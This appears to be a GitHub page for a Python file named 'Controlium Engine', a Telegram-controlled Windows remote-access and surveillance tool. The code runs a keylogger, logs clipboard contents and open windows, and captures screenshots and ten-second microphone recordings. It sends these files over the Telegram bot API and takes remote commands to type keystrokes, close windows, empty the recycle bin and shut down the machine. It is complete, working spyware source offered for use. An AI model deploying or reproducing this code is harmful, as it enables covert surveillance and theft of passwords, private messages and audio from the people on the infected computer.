-
Notifications
You must be signed in to change notification settings - Fork 1
/
controlium.pyw
544 lines (415 loc) · 17.5 KB
/
controlium.pyw
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
import os
import time
import uuid
import logging
import socket
import datetime
import subprocess
import threading
import psutil
import ctypes
import pygame.mixer
import pyperclip
import pyautogui
import telebot
import requests
import winshell
import webbrowser
import pyttsx3
import pygetwindow as gw
from pynput import keyboard
from tkinter import messagebox
from plyer import notification
import sounddevice as sd
import screen_brightness_control as scrn
from scipy.io.wavfile import write
BOT_TOKEN = "YOUR TOKEN"
def telegram_alert(send):
bot_token = BOT_TOKEN
my_chatID = "CHAT ID"
send_text = "https://api.telegram.org/bot" + bot_token + "/sendMessage?chat_id=" + my_chatID + "&parse_mode=Markdown&text=" + send
response = requests.get(send_text)
return response.json()
incognito = False
bot = telebot.TeleBot(BOT_TOKEN)
@bot.message_handler(func=lambda message: True)
def command_unit(message):
global incognito
try:
if message.text.lower() == "/stop":
# notification.notify(
# title="Windows notification",
# message="Controlium engine shutdown",
# app_icon=None,
# timeout=3,)
bot.reply_to(message, "Engine shutdown")
subprocess.run(["taskkill", "/F", "/PID", str(pid)])
elif message.text.lower() == "/log":
try:
with open(save_log_file, 'rb') as file:
bot.send_document(message.chat.id, file)
except Exception as e:
bot.reply_to(message, f"Error sending file: {e}")
elif message.text.lower() == "/keylog":
try:
with open(key_log_file, 'rb') as file:
bot.send_document(message.chat.id, file)
except Exception as e:
bot.reply_to(message, f"Error sending file: {e}")
elif message.text.lower() == "/sslog":
try:
with open("Activity/controlium-ss.jpg", 'rb') as file:
bot.send_document(message.chat.id, file)
except Exception as e:
bot.reply_to(message, f"Error sending file: {e}")
elif message.text.lower() == "/notepad":
os.startfile(f"C:/Users/{username}/AppData/Local/Microsoft/WindowsApps/notepad.exe")
bot.reply_to(message, "Opened Notepad")
elif message.text.lower() == "/chrome":
os.startfile("C:\Program Files\Google\Chrome\Application\chrome.exe")
bot.reply_to(message, "Opened Chrome")
elif message.text.lower() == "/vscode":
os.startfile(f"C:/Users/{username}/AppData/Local/Programs/Microsoft VS Code/Code.exe")
bot.reply_to(message, "Opened Visual Studio Code")
elif message.text.lower() == "/word":
os.startfile("C:/Program Files/Microsoft Office/root\Office16/WINWORD.EXE")
bot.reply_to(message, "Opened Microsoft Word")
elif message.text.lower() == "/powerpoint":
os.startfile("C:/Program Files/Microsoft Office/root/Office16/POWERPNT.EXE")
bot.reply_to(message, "Opened PowerPoint")
elif message.text.lower() == "/excel":
os.startfile("C:/Program Files/Microsoft Office/root/Office16/EXCEL.EXE")
bot.reply_to(message, "Opened Microsoft Excel")
elif message.text.lower() == "/edge":
os.startfile("C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe")
bot.reply_to(message, "Opened Microsoft Edge")
elif message.text.lower() == "/files":
os.startfile("C:/Windows/explorer.exe")
bot.reply_to(message, "Opened File Explorer")
elif message.text.lower() == "/alert":
bot.reply_to(message, "Enter messeage")
def win_notification(message):
msg = message.text
notification.notify(
title="Windows notification",
message=msg,
app_icon=None,
timeout=5,)
bot.reply_to(message, "Done")
bot.register_next_step_handler(message, win_notification)
elif message.text.lower() == "/popup":
bot.reply_to(message, "Enter messeage")
def popup(message):
msg = message.text
messagebox.showwarning("Windows", msg)
bot.reply_to(message, "Done")
bot.register_next_step_handler(message, popup)
elif message.text.lower() == "/ss":
screenshot = pyautogui.screenshot()
screenshot.save("Activity/controlium-ss.jpg")
bot.reply_to(message, "Screenshot taken")
try:
with open("Activity/controlium-ss.jpg", 'rb') as file:
bot.send_document(message.chat.id, file)
except Exception as e:
bot.reply_to(message, f"Error sending file: {e}")
elif message.text.lower() == "/record":
bot.reply_to(message, "Audio recording...")
frequency = 44100
duration = 10
record_audio = sd.rec(int(duration * frequency), samplerate=frequency, channels=2)
sd.wait()
write("Activity/controlium-rec.wav", frequency, record_audio)
bot.reply_to(message, "Audio recorded")
try:
with open("Activity/controlium-rec.wav", 'rb') as file:
bot.send_document(message.chat.id, file)
except Exception as e:
bot.reply_to(message, f"Error sending file: {e}")
elif message.text.lower() == "/nobg":
ctypes.windll.user32.SystemParametersInfoW(20, 0, "", 3)
bot.reply_to(message, "Removed wallpaper")
elif "audio" in message.text.lower():
audio_num = message.text.split()[1]
pygame.mixer.init()
pygame.mixer.music.load(f"Audio/audio{audio_num}.mp3")
pygame.mixer.music.play(0)
bot.reply_to(message, f"Playing audio {audio_num}")
elif message.text.lower() == "/mute":
pygame.mixer.music.stop()
bot.reply_to(message, "Audio stopped")
elif "volup" in message.text.lower():
vol = message.text.split()[1]
vol_level = int(vol)
for v in range(vol_level):
pyautogui.press('volumeup')
bot.reply_to(message, f"Volume increased by {vol_level}")
elif "voldown" in message.text.lower():
vol = message.text.split()[1]
vol_level = int(vol)
for v in range(vol_level):
pyautogui.press('volumedown')
bot.reply_to(message, f"Volume decreased by {vol_level}")
elif "brightness" in message.text.lower():
brightness = message.text.split()[1]
brightness_lvl = int(brightness)
scrn.set_brightness(brightness_lvl)
bot.reply_to(message, f"Screen brightness: {brightness_lvl}%")
elif message.text.lower() == "/getfocus":
focus_window = gw.getActiveWindow()
bot.reply_to(message, f"Window in focus: {focus_window.title}")
elif message.text.lower() == "/getallwin":
open_windows = gw.getWindowsWithTitle("")
for window in open_windows:
telegram_alert(window.title)
elif message.text.lower() == "/closefocus":
focus_window = gw.getActiveWindow()
if focus_window is not None:
focus_window.close()
bot.reply_to(message, f"Closed {focus_window.title}")
elif message.text.lower() == "/closeall":
open_win = gw.getAllWindows()
for window in open_win:
window.close()
bot.reply_to(message, "Closed all windows")
elif message.text.lower() == "/enter":
pyautogui.hotkey('enter')
bot.reply_to(message, "Done")
elif message.text.lower() == "/undo":
pyautogui.hotkey('ctrl', 'z')
bot.reply_to(message, "Done")
elif message.text.lower() == "/paste":
pyautogui.hotkey('ctrl', 'v')
bot.reply_to(message, "Done")
elif message.text.lower() == "/delete":
pyautogui.hotkey('delete')
bot.reply_to(message, "Done")
elif "#" in message.text.lower():
user_chars = message.text
pyautogui.typewrite(user_chars)
bot.reply_to(message, "Done")
elif message.text.lower() == "/signout":
subprocess.call(["shutdown", "/l"])
bot.reply_to(message, "System sign out")
elif message.text.lower() == "/hibernate":
os.system("shutdown /h")
bot.reply_to(message, "System hibernation")
elif message.text.lower() == "/shutdown":
os.system("shutdown /s /t 30")
bot.reply_to(message, "System shutdown")
elif message.text.lower() == "/bin":
winshell.recycle_bin().empty(confirm=False, show_progress=True, sound=True)
bot.reply_to(message, "Recycle bin cleared")
elif message.text.lower() == "/incognito":
incognito = True
bot.reply_to(message, "Incognito mode enabled")
elif message.text.lower() == "/incogoff":
incognito = False
bot.reply_to(message, "Incognito mode disabled")
elif message.text.lower() == "/clearlogs":
try:
act_log = "Activity"
txtfiles = [f for f in os.listdir(act_log) if f.endswith(".txt")]
for f in txtfiles:
os.remove(os.path.join(act_log, f))
bot.reply_to(message, "Deleted activity logs")
except Exception as e:
bot.reply_to(message, "Deleted activity logs")
bot.reply_to(message, f"ERROR >> {e}")
key_log = "Keystroke"
txtfiles2 = [f for f in os.listdir(key_log) if f.endswith(".txt")]
for f in txtfiles2:
os.remove(os.path.join(key_log, f))
bot.reply_to(message, "Deleted keystroke logs")
os.remove("Activity/controlium-ss.jpg")
bot.reply_to(message, "Deleted screenshot")
os.remove("Activity/controlium-rec.wav")
bot.reply_to(message, "Deleted audio file")
elif "clean" in message.text.lower():
month = message.text.split()[1].capitalize()
try:
act_log = "Activity"
txtfiles = [f for f in os.listdir(act_log) if f.endswith(".txt") and f.startswith(month)]
for f in txtfiles:
os.remove(os.path.join(act_log, f))
bot.reply_to(message, f"Deleted logs: {month}")
except Exception as e:
bot.reply_to(message, f"ERROR >> {e}")
elif ">" in message.text.lower():
usr_msg = message.text
speech_engine(usr_msg)
bot.reply_to(message, "Done")
elif message.text.lower() == "/time":
time = datetime.datetime.now().strftime("%H:%M")
speech_engine(f"The time is {time}")
bot.reply_to(message, "Done")
elif "search" in message.text.lower():
indx = message.text.lower().split().index("search")
conv = message.text.split()[indx + 1:]
query = ' '.join([str(item) for item in conv])
webbrowser.open(f"https://www.google.com/search?q={query}")
bot.reply_to(message, f"Searching {query}")
elif message.text.lower() == "/version":
bot.reply_to(message, "Controlium Engine v1.6.2")
else:
bot.reply_to(message, "Invalid command")
except Exception as e:
bot.reply_to(message, f"ERROR >> {e}")
###############################################################################################
hostname = socket.gethostname()
ip = socket.gethostbyname(hostname)
mac = ':'.join(['{:02x}'.format((uuid.getnode() >> elements) & 0xff) for elements in range(0,2*6,2)][::-1])
username = os.getlogin()
cpu_usage = psutil.cpu_percent(interval=1)
ram = psutil.virtual_memory()
ram_used = ram.used / (1024**3)
ram_available = ram.available / (1024**3)
boot_time = psutil.boot_time()
uptime = datetime.datetime.fromtimestamp(boot_time)
pid = os.getpid()
folder1 = os.path.exists("Activity")
if folder1 == False:
os.mkdir("Activity")
folder2 = os.path.exists("Keystroke")
if folder2 == False:
os.mkdir("Keystroke")
date = datetime.datetime.now().strftime(f"%h{'('}%d{')'}:%H:%M")
log_file = str(date).replace(":", "-") + "-log.txt"
folder = "Activity"
save_log_file = os.path.join(folder, log_file)
date = datetime.datetime.now().strftime(f"%h{'('}%d{')'}:%H:%M")
log_file = str(date).replace(":", "-") + "-keylog.txt"
folder = "Keystroke"
key_log_file = os.path.join(folder, log_file)
logging.basicConfig(filename=save_log_file, level=logging.INFO, format='%(asctime)s - %(message)s', datefmt="%Y-%m-%d %H:%M:%S")
logged_windows = set()
def windows_logger():
try:
global logged_windows
open_windows = gw.getWindowsWithTitle("")
for window in open_windows:
if window.title not in logged_windows:
logging.info(f"Opened : {window.title}")
logged_windows.add(window.title)
for title in logged_windows.copy():
if title not in gw.getAllTitles():
logging.info(f"Closed : {title}")
logged_windows.remove(title)
except:
pass
def key_press(key):
if incognito != True:
try:
with open(key_log_file, "a") as f:
f.write(f"Key pressed : {key.char}\n")
except AttributeError:
with open(key_log_file, "a") as f:
f.write(f"Key pressed : {key}\n")
def key_release(key):
if key == keyboard.Key.esc:
return False
def keystroke_logger():
time_stamp = datetime.datetime.now().strftime("%D:%h:%H:%M:%S")
with open(key_log_file, "a") as f:
f.write(f'''CONTROLIUM ENGINE v1.6.2
{str(time_stamp)}
<< KEYSTROKE LOG >>
> IP Address: {ip}
> MAC Address: {mac}
> Active user: {username}
> CPU Usage: {cpu_usage}%
> RAM Usage: {ram_used:.2f} GB
> Available RAM: {ram_available:.2f} GB
> System uptime: {uptime}
> Process ID: {pid}
''')
with keyboard.Listener(on_press=key_press, on_release=key_release) as watcher:
watcher.join()
def activity_logger():
time_stamp = datetime.datetime.now().strftime("%D:%h:%H:%M:%S")
logging.info(f'''CONTROLIUM ENGINE v1.6.2
{str(time_stamp)}
<< ACTIVITY LOG >>
> IP Address: {ip}
> MAC Address: {mac}
> Active user: {username}
> CPU Usage: {cpu_usage}%
> RAM Usage: {ram_used:.2f} GB
> Available RAM: {ram_available:.2f} GB
> System uptime: {uptime}
> Process ID: {pid}
''')
while True:
if incognito != True:
windows_logger()
time.sleep(120)
screenshot = pyautogui.screenshot()
screenshot.save("Activity/controlium-ss.jpg")
def network_connection():
result = subprocess.run(["netsh", "wlan", "show", "interfaces"], capture_output=True, text=True)
output = result.stdout
ssid_line = [line for line in output.splitlines() if "SSID" in line]
if ssid_line:
ssid = ssid_line[0].split(":")[1].strip()
logging.info(f"Connected to network: {ssid}")
else:
logging.info("Not connected to a network")
def clipboard_activity():
before_clipboard = pyperclip.paste()
while True:
current_clipboard = pyperclip.paste()
if current_clipboard != before_clipboard and incognito != True:
logging.info(f"Clipboard changes: {current_clipboard}")
before_clipboard = current_clipboard
def clear_logs():
while True:
try:
act_log = "Activity"
txtfiles = [f for f in os.listdir(act_log) if f.endswith(".txt")]
time.sleep(600)
for f in txtfiles:
os.remove(os.path.join(act_log, f))
except:
pass
key_log = "Keystroke"
txtfiles2 = [f for f in os.listdir(key_log) if f.endswith(".txt")]
for f in txtfiles2:
os.remove(os.path.join(key_log, f))
def telegram_bot():
while True:
try:
telegram_alert(f"System online - {username}")
bot.polling()
except:
time.sleep(5)
def speech_engine(speak):
engine = pyttsx3.init("sapi5")
engine.setProperty("rate", 150)
voices = engine.getProperty('voices')
engine.setProperty("voice", voices[0].id)
engine.say(speak)
engine.runAndWait()
##########################################################################################
if __name__ == "__main__":
keystroke_thread = threading.Thread(target=keystroke_logger) # Thread 1
activity_thread = threading.Thread(target=activity_logger) # Thread 2
network_thread = threading.Thread(target=network_connection) # Thread 3
clipboard_thread = threading.Thread(target=clipboard_activity) # Thread 4
clear_logs_thread = threading.Thread(target=clear_logs) # Thread 5
telegram_bot_thread = threading.Thread(target=telegram_bot) # Thread 6
keystroke_thread.start()
activity_thread.start()
network_thread.start()
clipboard_thread.start()
clear_logs_thread.start()
telegram_bot_thread.start()
keystroke_thread.join()
activity_thread.join()
network_thread.join()
clipboard_thread.join()
clear_logs_thread.join()
telegram_bot_thread.join()
# MIT License
# Copyright (c) 2024 Ashfaaq Rifath - Controlium Engine v1.6.2
# All rights reserved.
# USE WITH CAUSION